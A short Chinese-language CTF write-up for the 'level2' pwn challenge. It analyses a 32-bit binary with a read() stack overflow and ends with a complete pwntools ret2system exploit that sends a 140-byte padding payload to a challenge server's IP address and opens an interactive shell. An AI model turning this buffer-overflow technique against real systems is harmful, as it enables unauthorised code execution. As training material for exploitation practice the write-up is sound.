level2--writeup
程序员文章站
2022-07-15 15:36:25
...
文件下载地址:
链接:https://pan.baidu.com/s/1jiR84G8Ji3luscmYTOOKAA
提取码:jz7n
0x01.分析
checksec:
32位程序,开启NX。
源码:
发现系统调用了system,但是参数并不是/bin/sh,后面有read函数,存在栈溢出,继续寻找,看是否有bin/sh:
果然存在。
得到bin/sh的地址,最后只需确定一下偏移量:
由于这个程序不知道为什么再gdb里不能正常退出,可能是系统调用的原因,具体不是很清楚,不过我们可以手动计算出:
应该是0x80-0+4=140.(0是指举例esp长度,4是ebp的大小)。
0x02.exp
##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",47065)
#r=process('./level2')
system_adr=0x08048320
bin_sh_adr=0x0804A024
payload=140*'A'+p32(system_adr)+p32(0)+p32(bin_sh_adr)
r.recvuntil(":")
r.sendline(payload)
r.interactive()
上一篇: windows系统一键关停系统的脚本
下一篇: hash小结
推荐阅读